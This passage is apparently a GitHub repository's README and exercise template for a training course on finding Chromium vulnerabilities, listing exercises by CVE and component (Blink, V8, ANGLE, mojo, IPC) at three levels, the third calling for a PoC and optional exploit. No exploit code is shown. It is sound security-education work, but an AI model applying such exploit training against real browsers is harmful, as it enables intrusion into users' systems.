emitted. But to narrow down, information about which part of the project contains such vulnerability will be provided. For example, if the bug is about ANGEL (module of the Chromium project), 20 | the information about the file will be provided. 21 | Most of the time, the path to the patch file should help that. 22 | - Level 3: quite like level 2, but need PoC and exploit (optional) 23 | 24 | 25 | ## LEVEL 1 26 | | Exercise No. | CVEs | Target | 27 | | :----------------------------------------: | :----------------: | :----------: | 28 | | [LEVEl_1/exercise_1](./LEVEL_1/exercise_1) | **CVE-2020-6542** | Chrome WebGL | 29 | | [LEVEl_1/exercise_2](./LEVEL_1/exercise_2) | **CVE-2020-6463** | Chrome ANGLE | 30 | | [LEVEl_1/exercise_3](./LEVEL_1/exercise_3) | **CVE-2020-16005** | ANGLE | 31 | | [LEVEl_1/exercise_4](./LEVEL_1/exercise_4) | **CVE-2021-21204** | Chrome Blink | 32 | | [LEVEl_1/exercise_5](./LEVEL_1/exercise_5) | **CVE-2021-21203** | Blink | 33 | | [LEVEl_1/exercise_6](./LEVEL_1/exercise_6) | **CVE-2021-21188** | Blink | 34 | | [LEVEl_1/exercise_7](./LEVEL_1/exercise_7) | **CVE-2021-30565** | V8 GC | 35 | 36 | 37 | 38 | ## LEVEL 2 39 | 40 | | Exercise No. | CVEs | Target | 41 | | :--------------------------------------: | :----------------: | :-----------: | 42 | | [LEVEL_2/exercise_1](LEVEL_2/exercise_1) | **CVE-2021-21128** | Blink | 43 | | [LEVEL_2/exercise_2](LEVEL_2/exercise_2) | **CVE-2021-21122** | Blink | 44 | | [LEVEL_2/exercise_3](LEVEL_2/exercise_3) | **CVE-2021-21112** | Blink | 45 | | [LEVEL_2/exercise_4](LEVEL_2/exercise_4) | **CVE-2021-30565** | Chrome Tab | 46 | | [LEVEL_2/exercise_5](LEVEL_2/exercise_5) | **CVE-2021-21159** | Tab | 47 | | [LEVEL_2/exercise_6](LEVEL_2/exercise_6) | **CVE-2021-21190** | Chrome pdfium | 48 | | [LEVEL_2/exercise_7](LEVEL_2/exercise_7) | **CVE-2020-6422** | Blink | 49 | 50 | 51 | 52 | ## LEVEL 3 53 | 54 | | Exercise No. | CVEs | Target | 55 | | :----------------------------------------: | :----------------: | :------------------: | 56 | | [LEVEl_3/exercise_1](./LEVEL_3/exercise_1) | **CVE-2021-21226** | navigation_predictor | 57 | | [LEVEl_3/exercise_2](./LEVEL_3/exercise_2) | **CVE-2021-21224** | V8 | 58 | | [LEVEl_3/exercise_3](./LEVEL_3/exercise_3) | **CVE-2021-21223** | mojo | 59 | | [LEVEl_3/exercise_4](./LEVEL_3/exercise_4) | **CVE-2021-21207** | IndexDB | 60 | | [LEVEl_3/exercise_5](./LEVEL_3/exercise_5) | **CVE-2021-21202** | extensions | 61 | | [LEVEl_3/exercise_6](./LEVEL_3/exercise_6) | **CVE-2021-21198** | IPC | 62 | | [LEVEl_3/exercise_7](./LEVEL_3/exercise_7) | **CVE-2021-21155** | Tab | 63 | 64 | 65 | ## Original Author 66 | 67 | - [ddme](https://github.com/ret2ddme) 68 | - [lime](https://github.com/Limesss) 69 | 70 | 71 | ## How to contribute 72 | 73 | Writing your exercise follow [this](./Template.md) format. 74 | 75 | 76 | 77 | -------------------------------------------------------------------------------- /Template.md: -------------------------------------------------------------------------------- 1 | # Exercise x 2 | 3 | 4 | ## CVE-xxxx-xxxx 5 | I sugget you don't search any report about it to prevents get too much info like patch. 6 | 7 | 8 | ### Details 9 | 10 | #### In level 1 11 | In level 1, you can write some describ of how the bug form. In short just ctrl+c/ctrl+v from patch, but must some useful words. 12 | 13 | **Good example**: 14 | > Prior to the patch, the validity of the execution context was only 15 | > checked on entry to the method; however, the execution context can 16 | > be invalidated during the course of parsing keyframes or options. 17 | > The parsing of options is upstream of Animatable::animate and caught by 18 | > the existing check, but invalidation during keyframe parsing could fall 19 | > through triggering a crash. 20 | 21 | **Bad example** 22 | > Use after free in Blink in Google Chrome prior to 89.0.4389.72 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. 23 | 24 | #### In level 2 25 | In level 2, this part should be banned 26 | 27 | 28 | ### Set environment 29 | 30 | the way to get/download the source code, or how to compile it and others. 31 | 32 | 33 | ### Related code 34 | 35 | some related source code or file path 36 | 37 | 38 | ### Do it 39 | Do this exercise by yourself, If you find my answer have something wrong, please correct it. 40 | 41 | 42 | --------- 43 | 44 |
45 | My answer 46 | 47 | [ write your answer here ] 48 | 49 |
50 | 51 | -------- 52 | --------------------------------------------------------------------------------